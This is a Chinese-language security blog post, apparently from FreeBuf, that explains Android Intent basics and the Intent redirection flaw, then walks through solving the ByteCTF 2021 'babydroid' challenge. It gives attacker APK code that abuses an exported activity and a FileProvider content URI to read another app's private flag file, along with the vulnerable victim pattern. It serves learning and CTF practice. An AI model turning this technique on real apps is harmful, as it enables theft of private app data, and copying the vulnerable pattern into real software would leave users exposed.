freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

android-intent重定向漏洞
2022-03-18 11:00:41
所属地 广东省

前段时间发现2021ByteCTF的几个Android题,和APP漏洞相关的,对此很感兴趣,所以做了一些学习总结。

Intent介绍

Intent(意图)主要是解决Android应用的各项组件之间的通讯。例如:

startActivity(Intent)/startActivityForResult(Intent):启动一个Activity
startService(Intent)/bindService(Intent):启动一个Service
sendBroadcast:发送广播到指定BroadcastReceiver

Intent负责对应用中一次操作的动作、动作涉及的数据、附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 Intent传递给被调用的组件,并完成组件的调用。

Intent对象中可以包括这些信息:

1. 组件名称(Component): 指定Intent的的目标组件的类名称。

2. 动作(Action): 将要执行的动作

3. 种类(Category): 被执行动作的附加信息

4. data (数据) : 表示执行动作要操纵的数据。

5. type (数据类型) : 显式指定Intent的数据类型(MIME)。

6. extras (扩展信息) : 是其它所有扩展信息的集合。

7. Flags (标志位) : 期望这个意图的运行模式。

Intent的两种调用方式:

  • 显示调用

    对于明确指出了目标组件名称的Intent,我们称之为显式Intent。

Intent intent = new Intent(MainActivity.class,TestActivity.class); //实例化Intent对象
intent.putExtra("ext1",ext1); //使用putExtra传递参数,参数:值
intent.getStringExtra("ext1") //获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到TestActivity类

我们写代码来理解一下,可以发现使用了setComponent,putExtra等来添加Intent对象中的信息:

MainActivity:
public class MainActivity extends AppCompatActivity {

public Button btn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String at = "MainActivity";
ComponentName component = new ComponentName(MainActivity.this, TestActivity.class);
Intent intent = new Intent();
//设置要跳转的组件名称,等价于new Intent(MainActivity.class,TestActivity.class);
intent.setComponent(component);
//设置额外数据
intent.putExtra("hint", "我是TestActivity, 我来自MainActivity");
btn = findViewById(R.id.btn);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(intent);
}
});

}

}

TestActivity:
public class TestActivity extends AppCompatActivity {

public TextView tv;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
tv = findViewById(R.id.tv);
//接收数据
String result = getIntent().getStringExtra("hint");
tv.setText(result);
}
}

当点击跳转后,页面进行跳转,并且数据传输成功。

1647572159_6233f4bf372424182c9ae.png!small?1647572159516


  • 隐式调用

    对于没有明确指出目标组件名称的Intent,则称之为隐式Intent。

    隐式调用需要通过Intent Filter来匹配对应的组件。

    AndroidManifest.xml中添加要跳转的Activity:
    <activity
    android:name=".TestActivity"
    android:exported="false"
    <intent-filter>
    <action android:name="myAction" />
    <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
    </activity>

    MainActivity:
    Intent intent = new Intent();
    intent.setAction("myAction");
    //设置额外数据
    intent.putExtra("hint", "我是TestActivity, 我来自MainActivity");
    btn = findViewById(R.id.btn);
    btn.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
    startActivity(intent);
    }
    });

    点击跳转按钮,达到和上图同样的效果,这就是显示调用和隐式调用。

Intent重定向

简单介绍了Intent之后,我们来了解一下什么是重定向,其实它就是一个双层嵌套,根据下图理解,攻击Apk使用startActivity(intent1)进入受害apk的Activity1,Activity1中会接收一个intent(称intent2,这个intent2指向攻击Apk中的Activity2)类型的数据,对这个intent2使用startActivity(intent2),这样最终就进入了Activity2。

1647572285_6233f53d87d6b2a9a53ff.png!small?1647572285913

接下来我们编写代码来进行实际演示,这里注意Activity1和Activity2都是导出的,也就是exported="true",否则会失败。

攻击APK关键代码:

点击函数redirect:
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");

Intent intent = new Intent();
intent.setClassName("com.example.test", "com.example.test.TestActivity");
intent.putExtra("intent",redirect);
startActivity(intent);
}

受害APK关键代码:

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
Intent intent = getIntent().getParcelableExtra("intent");
startActivity(intent);
}

整个过程如下图,实际看到的是,点击按钮后直接跳转到”重定向成功“界面,但中间会有一个空白界面就是我们的Activity1:

1647572293_6233f545d3a37eac19158.png!small?1647572294298

ByteCTF 2021-babydroid

本文是根据ByteCTF 2021的Android题来进行学习,在之前我们了解了Intent重定向,但是这往往需要和其他利用条件结合,也要保证要攻击的Activity是导出的,而这个题就可以帮助我们巩固知识。

分析APK

JEB反编译,查看AndroidManifest.xml文件,发现Vulnerable是可导出的,可能漏洞点就在这里。

1647572306_6233f5523906da32e35d6.png!small?1647572308481

MainActivity是空的,没什么用,FlagReciver是一个广播接收器,经分析是设置flag的,将接收的flag写入文件,这应该和做题的人关系不大。

1647572314_6233f55ad8b62da825b1f.png!small?1647572315411

但是这里有一点要注意,getFilesDir()是哪个目录呢,这里可以自己写代码进行验证,给一个参考图,来自:https://bbs.pediy.com/thread-271122.htm

1647572321_6233f561cf66602656772.png!small?1647572322212

所以这里flag文件存储的目录是/data/data/com.bytectf.babydroid/files/flag。

再查看Vulnerable类,

1647572330_6233f56a02837ac26c24d.png!small?1647572330434

这个类导出,而且接收一个Intent数据,所以我们可以利用Intent重定向漏洞。

那我们该怎么利用Intent重定向漏洞读取flag文件呢?

FileProvider

Android 7开始不允许以 file:// 的方式通过 Intent 在两个 App 之间分享文件,而是通过 FileProvider 生成 content://Uri 。如果在 Android 7以上的版本继续使用 file:// 的方式分享文件,则系统会直接抛出异常。

FileProvider 是一个特殊的 ContentProvider 子类,如果使用包含 Content URI 的 Intent 共享文件时,需要申请临时的读写权限,这可以通过 Intent.setFlags() 方法实现。

我们在AndroidManifest.xml中也看到了FileProvider,

<provider 
android:authorities="androidx.core.content.FileProvider"
android:exported="false"
android:grantUriPermissions="true"
android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
这段代码是定义FileProvider,
android:name为androidx.core.content.FileProvider,不需要更改;
android:authorities为androidx.core.content.FileProvider;
android:exported为false,表示 FileProvider 不是公开的;
android:grantUriPermissions为true,表示允许临时读写文件。

文件配置完成后还需要生成可以被其他 App 访问的 Content URI,可以直接调用 FileProvider 提供的 getUriForFile(File file) 方法,,传入文件名称就可以得到相应的 Content URI。

假如我们要获取flag文件,但是我们也不确定Content URI是多少,我们编写代码来得到结果,看看Content URI生成的格式:

File imagePath = new File(getContext().getFilesDir(), "aaa");
File newFile = new File(imagePath, "default_image.jpg");
Uri contentUri = getUriForFile(getContext(), "com.mydomain.provider", newFile);
得到结果:
content://androidx.core.content.FileProvider/root/data/data/com.example.test/files/aaa/default_image.jpg

这样我们就得到了我们攻击时应该使用的Content URI格式。

攻击

了解了前面的知识,我们该做最后一步,对apk实施攻击获取flag。我们使用Intent重定向将Content Uri在受害Apk中进行解析获取flag文件的数据,在攻击APK中接收flag,完成攻击。

首先使用命令发送广播,创建flag文件:

adb shell su root am broadcast -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag 'flag{success!!!}'

然后编写攻击代码:

MainActivity点击函数:
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");
//读取flag文件,并且设置为此intent的Data。
redirect.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
//设置读写权限flag
redirect.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent",redirect);
startActivity(intent);
}
RedirectActivity:
try {
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String flag = IOUtils.toString(inputStream);
tv.setText(flag);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

攻击结果:

1647572346_6233f57aa8d76871cd7d1.png!small?1647572347004

总结

这个APK出现漏洞主要是因为Vulnerable类导出,虽然FileProvider是不导出的,但是通过Intent重定向可以在受害APK内部去使用FileProvider,因此达成了利用条件。一直以来,我主要是做APK逆向,而对于APK的漏洞确了解的很少,而且也很难有漏洞去复现学习,还是很感谢ByteCTF的出题师傅,之后应该也会对其他题目进行复现学习,再和大家分享学习。

参考

https://baike.baidu.com/item/Intent/5468510

https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg

https://zhuanlan.zhihu.com/p/26139355

https://www.runoob.com/w3cnote/android-tutorial-intent-base.html

# android-intent
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录